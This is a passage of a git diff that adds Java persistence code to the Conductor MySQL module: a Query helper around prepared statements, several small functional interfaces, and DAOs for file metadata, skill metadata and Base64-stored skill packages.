    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.util; + +import java.io.IOException; +import java.sql.Connection; +import java.sql.Date; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.sql.Types; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.commons.lang3.math.NumberUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.exception.NonTransientException; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Represents a {@link PreparedStatement} that is wrapped with convenience methods and utilities. + * + *

    This class simulates a parameter building pattern and all {@literal addParameter(*)} methods + * must be called in the proper order of their expected binding sequence. + * + * @author mustafa + */ +public class Query implements AutoCloseable { + private final Logger logger = LoggerFactory.getLogger(getClass()); + + /** The {@link ObjectMapper} instance to use for serializing/deserializing JSON. */ + protected final ObjectMapper objectMapper; + + /** The initial supplied query String that was used to prepare {@link #statement}. */ + private final String rawQuery; + + /** + * Parameter index for the {@code ResultSet#set*(*)} methods, gets incremented every time a + * parameter is added to the {@code PreparedStatement} {@link #statement}. + */ + private final AtomicInteger index = new AtomicInteger(1); + + /** The {@link PreparedStatement} that will be managed and executed by this class. */ + private final PreparedStatement statement; + + public Query(ObjectMapper objectMapper, Connection connection, String query) { + this.rawQuery = query; + this.objectMapper = objectMapper; + + try { + this.statement = connection.prepareStatement(query); + } catch (SQLException ex) { + throw new NonTransientException( + "Cannot prepare statement for query: " + ex.getMessage(), ex); + } + } + + /** + * Generate a String with {@literal count} number of '?' placeholders for {@link + * PreparedStatement} queries. + * + * @param count The number of '?' chars to generate. + * @return a comma delimited string of {@literal count} '?' binding placeholders. + */ + public static String generateInBindings(int count) { + String[] questions = new String[count]; + for (int i = 0; i < count; i++) { + questions[i] = "?"; + } + + return String.join(", ", questions); + } + + public Query addParameter(final String value) { + return addParameterInternal((ps, idx) -> ps.setString(idx, value)); + } + + public Query addParameter(final int value) { + return addParameterInternal((ps, idx) -> ps.setInt(idx, value)); + } + + public Query addParameter(final boolean value) { + return addParameterInternal(((ps, idx) -> ps.setBoolean(idx, value))); + } + + public Query addParameter(final long value) { + return addParameterInternal((ps, idx) -> ps.setLong(idx, value)); + } + + public Query addParameter(final Long value) { + if (value == null) { + return addParameterInternal((ps, idx) -> ps.setNull(idx, Types.BIGINT)); + } + return addParameterInternal((ps, idx) -> ps.setLong(idx, value)); + } + + public Query addParameter(final double value) { + return addParameterInternal((ps, idx) -> ps.setDouble(idx, value)); + } + + public Query addParameter(Date date) { + return addParameterInternal((ps, idx) -> ps.setDate(idx, date)); + } + + public Query addParameter(Timestamp timestamp) { + return addParameterInternal((ps, idx) -> ps.setTimestamp(idx, timestamp)); + } + + /** + * Serializes {@literal value} to a JSON string for persistence. + * + * @param value The value to serialize. + * @return {@literal this} + */ + public Query addJsonParameter(Object value) { + return addParameter(toJson(value)); + } + + /** + * Bind the given {@link java.util.Date} to the PreparedStatement as a {@link java.sql.Date}. + * + * @param date The {@literal java.util.Date} to bind. + * @return {@literal this} + */ + public Query addDateParameter(java.util.Date date) { + return addParameter(new Date(date.getTime())); + } + + /** + * Bind the given {@link java.util.Date} to the PreparedStatement as a {@link + * java.sql.Timestamp}. + * + * @param date The {@literal java.util.Date} to bind. + * @return {@literal this} + */ + public Query addTimestampParameter(java.util.Date date) { + return addParameter(new Timestamp(date.getTime())); + } + + /** + * Bind the given epoch millis to the PreparedStatement as a {@link java.sql.Timestamp}. + * + * @param epochMillis The epoch ms to create a new {@literal Timestamp} from. + * @return {@literal this} + */ + public Query addTimestampParameter(long epochMillis) { + return addParameter(new Timestamp(epochMillis)); + } + + /** + * Add a collection of primitive values at once, in the order of the collection. + * + * @param values The values to bind to the prepared statement. + * @return {@literal this} + * @throws IllegalArgumentException If a non-primitive/unsupported type is encountered in the + * collection. + * @see #addParameters(Object...) + */ + public Query addParameters(Collection values) { + return addParameters(values.toArray()); + } + + /** + * Add many primitive values at once. + * + * @param values The values to bind to the prepared statement. + * @return {@literal this} + * @throws IllegalArgumentException If a non-primitive/unsupported type is encountered. + */ + public Query addParameters(Object... values) { + for (Object v : values) { + if (v instanceof String) { + addParameter((String) v); + } else if (v instanceof Integer) { + addParameter((Integer) v); + } else if (v instanceof Long) { + addParameter((Long) v); + } else if (v instanceof Double) { + addParameter((Double) v); + } else if (v instanceof Boolean) { + addParameter((Boolean) v); + } else if (v instanceof Date) { + addParameter((Date) v); + } else if (v instanceof Timestamp) { + addParameter((Timestamp) v); + } else { + throw new IllegalArgumentException( + "Type " + + v.getClass().getName() + + " is not supported by automatic property assignment"); + } + } + + return this; + } + + /** + * Utility method for evaluating the prepared statement as a query to check the existence of a + * record using a numeric count or boolean return value. + * + *

    The {@link #rawQuery} provided must result in a {@link Number} or {@link Boolean} result. + * + * @return {@literal true} If a count query returned more than 0 or an exists query returns + * {@literal true}. + * @throws NonTransientException If an unexpected return type cannot be evaluated to a {@code + * Boolean} result. + */ + public boolean exists() { + Object val = executeScalar(); + if (null == val) { + return false; + } + + if (val instanceof Number) { + return convertLong(val) > 0; + } + + if (val instanceof Boolean) { + return (Boolean) val; + } + + if (val instanceof String) { + return convertBoolean(val); + } + + throw new NonTransientException( + "Expected a Numeric or Boolean scalar return value from the query, received " + + val.getClass().getName()); + } + + /** + * Convenience method for executing delete statements. + * + * @return {@literal true} if the statement affected 1 or more rows. + * @see #executeUpdate() + */ + public boolean executeDelete() { + int count = executeUpdate(); + if (count > 1) { + logger.trace("Removed {} row(s) for query {}", count, rawQuery); + } + + return count > 0; + } + + /** + * Convenience method for executing statements that return a single numeric value, typically + * {@literal SELECT COUNT...} style queries. + * + * @return The result of the query as a {@literal long}. + */ + public long executeCount() { + return executeScalar(Long.class); + } + + /** + * @return The result of {@link PreparedStatement#executeUpdate()} + */ + public int executeUpdate() { + try { + + Long start = null; + if (logger.isTraceEnabled()) { + start = System.currentTimeMillis(); + } + + final int val = this.statement.executeUpdate(); + + if (null != start && logger.isTraceEnabled()) { + long end = System.currentTimeMillis(); + logger.trace("[{}ms] {}: {}", (end - start), val, rawQuery); + } + + return val; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute a query from the PreparedStatement and return the ResultSet. + * + *

    NOTE: The returned ResultSet must be closed/managed by the calling methods. + * + * @return {@link PreparedStatement#executeQuery()} + * @throws NonTransientException If any SQL errors occur. + */ + public ResultSet executeQuery() { + Long start = null; + if (logger.isTraceEnabled()) { + start = System.currentTimeMillis(); + } + + try { + return this.statement.executeQuery(); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + if (null != start && logger.isTraceEnabled()) { + long end = System.currentTimeMillis(); + logger.trace("[{}ms] {}", (end - start), rawQuery); + } + } + } + + /** + * @return The single result of the query as an Object. + */ + public Object executeScalar() { + try (ResultSet rs = executeQuery()) { + if (!rs.next()) { + return null; + } + return rs.getObject(1); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a single 'primitive' value from the ResultSet. + * + * @param returnType The type to return. + * @param The type parameter to return a List of. + * @return A single result from the execution of the statement, as a type of {@literal + * returnType}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public V executeScalar(Class returnType) { + try (ResultSet rs = executeQuery()) { + if (!rs.next()) { + Object value = null; + if (Integer.class == returnType) { + value = 0; + } else if (Long.class == returnType) { + value = 0L; + } else if (Boolean.class == returnType) { + value = false; + } + return returnType.cast(value); + } else { + return getScalarFromResultSet(rs, returnType); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the PreparedStatement and return a List of 'primitive' values from the ResultSet. + * + * @param returnType The type Class return a List of. + * @param The type parameter to return a List of. + * @return A {@code List}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public List executeScalarList(Class returnType) { + try (ResultSet rs = executeQuery()) { + List values = new ArrayList<>(); + while (rs.next()) { + values.add(getScalarFromResultSet(rs, returnType)); + } + return values; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the statement and return only the first record from the result set. + * + * @param returnType The Class to return. + * @param The type parameter. + * @return An instance of {@literal } from the result set. + */ + public V executeAndFetchFirst(Class returnType) { + Object o = executeScalar(); + if (null == o) { + return null; + } + return convert(o, returnType); + } + + /** + * Execute the PreparedStatement and return a List of {@literal returnType} values from the + * ResultSet. + * + * @param returnType The type Class return a List of. + * @param The type parameter to return a List of. + * @return A {@code List}. + * @throws NonTransientException {@literal returnType} is unsupported, cannot be cast to from + * the result, or any SQL errors occur. + */ + public List executeAndFetch(Class returnType) { + try (ResultSet rs = executeQuery()) { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(convert(rs.getObject(1), returnType)); + } + return list; + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute the query and pass the {@link ResultSet} to the given handler. + * + * @param handler The {@link ResultSetHandler} to execute. + * @param The return type of this method. + * @return The results of {@link ResultSetHandler#apply(ResultSet)}. + */ + public V executeAndFetch(ResultSetHandler handler) { + try (ResultSet rs = executeQuery()) { + return handler.apply(rs); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + @Override + public void close() { + try { + if (null != statement && !statement.isClosed()) { + statement.close(); + } + } catch (SQLException ex) { + logger.warn("Error closing prepared statement: {}", ex.getMessage()); + } + } + + protected final Query addParameterInternal(InternalParameterSetter setter) { + int index = getAndIncrementIndex(); + try { + setter.apply(this.statement, index); + return this; + } catch (SQLException ex) { + throw new NonTransientException("Could not apply bind parameter at index " + index, ex); + } + } + + protected V getScalarFromResultSet(ResultSet rs, Class returnType) throws SQLException { + Object value = null; + + if (Integer.class == returnType) { + value = rs.getInt(1); + } else if (Long.class == returnType) { + value = rs.getLong(1); + } else if (String.class == returnType) { + value = rs.getString(1); + } else if (Boolean.class == returnType) { + value = rs.getBoolean(1); + } else if (Double.class == returnType) { + value = rs.getDouble(1); + } else if (Date.class == returnType) { + value = rs.getDate(1); + } else if (Timestamp.class == returnType) { + value = rs.getTimestamp(1); + } else { + value = rs.getObject(1); + } + + if (null == value) { + throw new NullPointerException( + "Cannot get value from ResultSet of type " + returnType.getName()); + } + + return returnType.cast(value); + } + + protected V convert(Object value, Class returnType) { + if (Boolean.class == returnType) { + return returnType.cast(convertBoolean(value)); + } else if (Integer.class == returnType) { + return returnType.cast(convertInt(value)); + } else if (Long.class == returnType) { + return returnType.cast(convertLong(value)); + } else if (Double.class == returnType) { + return returnType.cast(convertDouble(value)); + } else if (String.class == returnType) { + return returnType.cast(convertString(value)); + } else if (value instanceof String) { + return fromJson((String) value, returnType); + } + + final String vName = value.getClass().getName(); + final String rName = returnType.getName(); + throw new NonTransientException("Cannot convert type " + vName + " to " + rName); + } + + protected Integer convertInt(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Integer) { + return (Integer) value; + } + + if (value instanceof Number) { + return ((Number) value).intValue(); + } + + return NumberUtils.toInt(value.toString()); + } + + protected Double convertDouble(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Double) { + return (Double) value; + } + + if (value instanceof Number) { + return ((Number) value).doubleValue(); + } + + return NumberUtils.toDouble(value.toString()); + } + + protected Long convertLong(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Long) { + return (Long) value; + } + + if (value instanceof Number) { + return ((Number) value).longValue(); + } + return NumberUtils.toLong(value.toString()); + } + + protected String convertString(Object value) { + if (null == value) { + return null; + } + + if (value instanceof String) { + return (String) value; + } + + return value.toString().trim(); + } + + protected Boolean convertBoolean(Object value) { + if (null == value) { + return null; + } + + if (value instanceof Boolean) { + return (Boolean) value; + } + + if (value instanceof Number) { + return ((Number) value).intValue() != 0; + } + + String text = value.toString().trim(); + return "Y".equalsIgnoreCase(text) + || "YES".equalsIgnoreCase(text) + || "TRUE".equalsIgnoreCase(text) + || "T".equalsIgnoreCase(text) + || "1".equalsIgnoreCase(text); + } + + protected String toJson(Object value) { + if (null == value) { + return null; + } + + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected V fromJson(String value, Class returnType) { + if (null == value) { + return null; + } + + try { + return objectMapper.readValue(value, returnType); + } catch (IOException ex) { + throw new NonTransientException( + "Could not convert JSON '" + value + "' to " + returnType.getName(), ex); + } + } + + protected final int getIndex() { + return index.get(); + } + + protected final int getAndIncrementIndex() { + return index.getAndIncrement(); + } + + @FunctionalInterface + private interface InternalParameterSetter { + + void apply(PreparedStatement ps, int idx) throws SQLException; + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/QueryFunction.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/QueryFunction.java new file mode 100644 index 0000000..a76c730 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/QueryFunction.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.util; + +import java.sql.SQLException; + +/** + * Functional interface for {@link Query} executions that return results. + * + * @author mustafa + */ +@FunctionalInterface +public interface QueryFunction { + + R apply(Query query) throws SQLException; +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ResultSetHandler.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ResultSetHandler.java new file mode 100644 index 0000000..65c0e48 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ResultSetHandler.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.util; + +import java.sql.ResultSet; +import java.sql.SQLException; + +/** + * Functional interface for {@link Query#executeAndFetch(ResultSetHandler)}. + * + * @author mustafa + */ +@FunctionalInterface +public interface ResultSetHandler { + + R apply(ResultSet resultSet) throws SQLException; +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/TransactionalFunction.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/TransactionalFunction.java new file mode 100644 index 0000000..5aa430f --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/TransactionalFunction.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.util; + +import java.sql.Connection; +import java.sql.SQLException; + +/** + * Functional interface for operations within a transactional context. + * + * @author mustafa + */ +@FunctionalInterface +public interface TransactionalFunction { + + R apply(Connection tx) throws SQLException; +} diff --git a/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLFileMetadataDAO.java b/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLFileMetadataDAO.java new file mode 100644 index 0000000..4a46e81 --- /dev/null +++ b/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLFileMetadataDAO.java @@ -0,0 +1,153 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.mysql.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.util.ArrayList; +import java.util.List; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.conductoross.conductor.model.file.StorageType; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.mysql.dao.MySQLBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** MySQL {@link FileMetadataDAO} — table {@code file_metadata}. */ +public class MySQLFileMetadataDAO extends MySQLBaseDAO implements FileMetadataDAO { + + private static final String INSERT_FILE = + "INSERT INTO file_metadata (file_id, file_name, content_type, " + + "storage_type, storage_path, upload_status, workflow_id, task_id, " + + "created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; + + private static final String SELECT_BY_ID = "SELECT * FROM file_metadata WHERE file_id = ?"; + + private static final String UPDATE_STATUS = + "UPDATE file_metadata SET upload_status = ?, updated_at = CURRENT_TIMESTAMP " + + "WHERE file_id = ?"; + + private static final String UPDATE_UPLOAD_COMPLETE = + "UPDATE file_metadata SET upload_status = ?, storage_content_hash = ?, " + + "storage_content_size = ?, updated_at = CURRENT_TIMESTAMP " + + "WHERE file_id = ?"; + + private static final String SELECT_BY_WORKFLOW = + "SELECT * FROM file_metadata WHERE workflow_id = ?"; + + private static final String SELECT_BY_TASK = "SELECT * FROM file_metadata WHERE task_id = ?"; + + public MySQLFileMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void createFileMetadata(FileModel fileModel) { + executeWithTransaction( + INSERT_FILE, + q -> + q.addParameter(fileModel.getFileId()) + .addParameter(fileModel.getFileName()) + .addParameter(fileModel.getContentType()) + .addParameter(fileModel.getStorageType().name()) + .addParameter(fileModel.getStoragePath()) + .addParameter(fileModel.getUploadStatus().name()) + .addParameter(fileModel.getWorkflowId()) + .addParameter(fileModel.getTaskId()) + .addParameter(Timestamp.from(fileModel.getCreatedAt())) + .addParameter(Timestamp.from(fileModel.getUpdatedAt())) + .executeUpdate()); + } + + @Override + public FileModel getFileMetadata(String fileId) { + return queryWithTransaction( + SELECT_BY_ID, + q -> + q.addParameter(fileId) + .executeAndFetch( + rs -> { + if (!rs.next()) return null; + return toFileModel(rs); + })); + } + + @Override + public void updateUploadStatus(String fileId, FileUploadStatus status) { + executeWithTransaction( + UPDATE_STATUS, + q -> q.addParameter(status.name()).addParameter(fileId).executeUpdate()); + } + + @Override + public void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize) { + executeWithTransaction( + UPDATE_UPLOAD_COMPLETE, + q -> + q.addParameter(status.name()) + .addParameter(contentHash) + .addParameter(contentSize) + .addParameter(fileId) + .executeUpdate()); + } + + @Override + public List getFilesByWorkflowId(String workflowId) { + return queryWithTransaction( + SELECT_BY_WORKFLOW, + q -> q.addParameter(workflowId).executeAndFetch(this::toFileModelList)); + } + + @Override + public List getFilesByTaskId(String taskId) { + return queryWithTransaction( + SELECT_BY_TASK, q -> q.addParameter(taskId).executeAndFetch(this::toFileModelList)); + } + + private List toFileModelList(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(toFileModel(rs)); + } + return list; + } + + private FileModel toFileModel(ResultSet rs) throws SQLException { + FileModel model = new FileModel(); + model.setFileId(rs.getString("file_id")); + model.setFileName(rs.getString("file_name")); + model.setContentType(rs.getString("content_type")); + model.setStorageContentHash(rs.getString("storage_content_hash")); + long scs = rs.getLong("storage_content_size"); + model.setStorageContentSize(rs.wasNull() ? 0 : scs); + model.setStorageType(StorageType.valueOf(rs.getString("storage_type"))); + model.setStoragePath(rs.getString("storage_path")); + model.setUploadStatus(FileUploadStatus.valueOf(rs.getString("upload_status"))); + model.setWorkflowId(rs.getString("workflow_id")); + model.setTaskId(rs.getString("task_id")); + Timestamp createdAt = rs.getTimestamp("created_at"); + if (createdAt != null) model.setCreatedAt(createdAt.toInstant()); + Timestamp updatedAt = rs.getTimestamp("updated_at"); + if (updatedAt != null) model.setUpdatedAt(updatedAt.toInstant()); + return model; + } +} diff --git a/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillMetadataDAO.java b/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillMetadataDAO.java new file mode 100644 index 0000000..ba760d8 --- /dev/null +++ b/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillMetadataDAO.java @@ -0,0 +1,203 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.mysql.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.SkillMetadataDAO; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.mysql.dao.MySQLBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** MySQL {@link SkillMetadataDAO} — table {@code skill_metadata}. */ +public class MySQLSkillMetadataDAO extends MySQLBaseDAO implements SkillMetadataDAO { + + private static final String CLEAR_LATEST = + "UPDATE skill_metadata SET is_latest = ? WHERE owner_id = ? AND name = ?"; + + private static final String UPSERT_LATEST = + "INSERT INTO skill_metadata (owner_id, name, version, is_latest, detail_json, created_at, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?) " + + "ON DUPLICATE KEY UPDATE is_latest = VALUES(is_latest), " + + "detail_json = VALUES(detail_json), updated_at = VALUES(updated_at)"; + + private static final String UPSERT_NO_LATEST = + "INSERT INTO skill_metadata (owner_id, name, version, is_latest, detail_json, created_at, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?) " + + "ON DUPLICATE KEY UPDATE detail_json = VALUES(detail_json), updated_at = VALUES(updated_at)"; + + private static final String SELECT_DETAIL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND name = ? AND version = ?"; + + private static final String SELECT_LATEST_VERSION = + "SELECT version FROM skill_metadata WHERE owner_id = ? AND name = ? AND is_latest = ?"; + + private static final String SELECT_VERSIONS = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND name = ?"; + + private static final String SELECT_ALL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ?"; + + private static final String SELECT_LATEST_ALL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND is_latest = ?"; + + private static final String DELETE_ONE = + "DELETE FROM skill_metadata WHERE owner_id = ? AND name = ? AND version = ?"; + + // In MySQL, NULL sorts lowest, so DESC places non-null updated_at first (NULLs last). + private static final String SELECT_NEWEST_REMAINING = + "SELECT version FROM skill_metadata WHERE owner_id = ? AND name = ? ORDER BY updated_at DESC LIMIT 1"; + + private static final String SET_LATEST = + "UPDATE skill_metadata SET is_latest = ? WHERE owner_id = ? AND name = ? AND version = ?"; + + public MySQLSkillMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void save( + String ownerId, + String name, + String version, + boolean makeLatest, + String detailJson, + Long createdAt, + Long updatedAt) { + if (makeLatest) { + executeWithTransaction( + CLEAR_LATEST, + q -> + q.addParameter(false) + .addParameter(ownerId) + .addParameter(name) + .executeUpdate()); + executeWithTransaction( + UPSERT_LATEST, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .addParameter(true) + .addParameter(detailJson) + .addParameter(createdAt) + .addParameter(updatedAt) + .executeUpdate()); + } else { + executeWithTransaction( + UPSERT_NO_LATEST, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .addParameter(false) + .addParameter(detailJson) + .addParameter(createdAt) + .addParameter(updatedAt) + .executeUpdate()); + } + } + + @Override + public Optional find(String ownerId, String name, String version) { + String json = + queryWithTransaction( + SELECT_DETAIL, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return Optional.ofNullable(json); + } + + @Override + public Optional latestVersion(String ownerId, String name) { + String version = + queryWithTransaction( + SELECT_LATEST_VERSION, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(true) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return Optional.ofNullable(version); + } + + @Override + public List listVersions(String ownerId, String name) { + return queryWithTransaction( + SELECT_VERSIONS, + q -> q.addParameter(ownerId).addParameter(name).executeAndFetch(this::toJsonList)); + } + + @Override + public List list(String ownerId, boolean allVersions) { + if (allVersions) { + return queryWithTransaction( + SELECT_ALL, q -> q.addParameter(ownerId).executeAndFetch(this::toJsonList)); + } + return queryWithTransaction( + SELECT_LATEST_ALL, + q -> q.addParameter(ownerId).addParameter(true).executeAndFetch(this::toJsonList)); + } + + @Override + public void delete(String ownerId, String name, String version) { + Optional latest = latestVersion(ownerId, name); + executeWithTransaction( + DELETE_ONE, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .executeUpdate()); + if (latest.isPresent() && latest.get().equals(version)) { + String newest = + queryWithTransaction( + SELECT_NEWEST_REMAINING, + q -> + q.addParameter(ownerId) + .addParameter(name) + .executeAndFetch( + rs -> rs.next() ? rs.getString(1) : null)); + if (newest != null) { + executeWithTransaction( + SET_LATEST, + q -> + q.addParameter(true) + .addParameter(ownerId) + .addParameter(name) + .addParameter(newest) + .executeUpdate()); + } + } + } + + private List toJsonList(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(rs.getString(1)); + } + return list; + } +} diff --git a/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillPackageDAO.java b/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillPackageDAO.java new file mode 100644 index 0000000..02ab38a --- /dev/null +++ b/mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillPackageDAO.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.mysql.dao; + +import java.util.Base64; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.SkillPackageDAO; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.mysql.dao.MySQLBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** MySQL {@link SkillPackageDAO} — table {@code skill_package} (Base64-encoded bytes). */ +public class MySQLSkillPackageDAO extends MySQLBaseDAO implements SkillPackageDAO { + + private static final String UPSERT = + "INSERT INTO skill_package (handle, data, size_bytes, created_at) VALUES (?, ?, ?, ?) " + + "ON DUPLICATE KEY UPDATE data = VALUES(data), size_bytes = VALUES(size_bytes)"; + + private static final String SELECT = "SELECT data FROM skill_package WHERE handle = ?"; + + private static final String EXISTS = "SELECT 1 FROM skill_package WHERE handle = ?"; + + private static final String DELETE = "DELETE FROM skill_package WHERE handle = ?"; + + public MySQLSkillPackageDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void put(String handle, byte[] data) { + String encoded = Base64.getEncoder().encodeToString(data); + executeWithTransaction( + UPSERT, + q -> + q.addParameter(handle) + .addParameter(encoded) + .addParameter((long) data.length) + .addParameter(System.currentTimeMillis()) + .executeUpdate()); + } + + @Override + public byte[] get(String handle) { + String encoded = + queryWithTransaction( + SELECT, + q -> + q.addParameter(handle) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return encoded == null ? null : Base64.getDecoder().decode(encoded); + } + + @Override + public boolean exists(String handle) { + Boolean present = + queryWithTransaction( + EXISTS, + q -> q.addParameter(handle).executeAndFetch(java.sql.ResultSet::next)); + return Boolean.TRUE.equals(present); + } + + @Override + public void delete(String handle) { + executeWithTransaction(DELETE, q -> 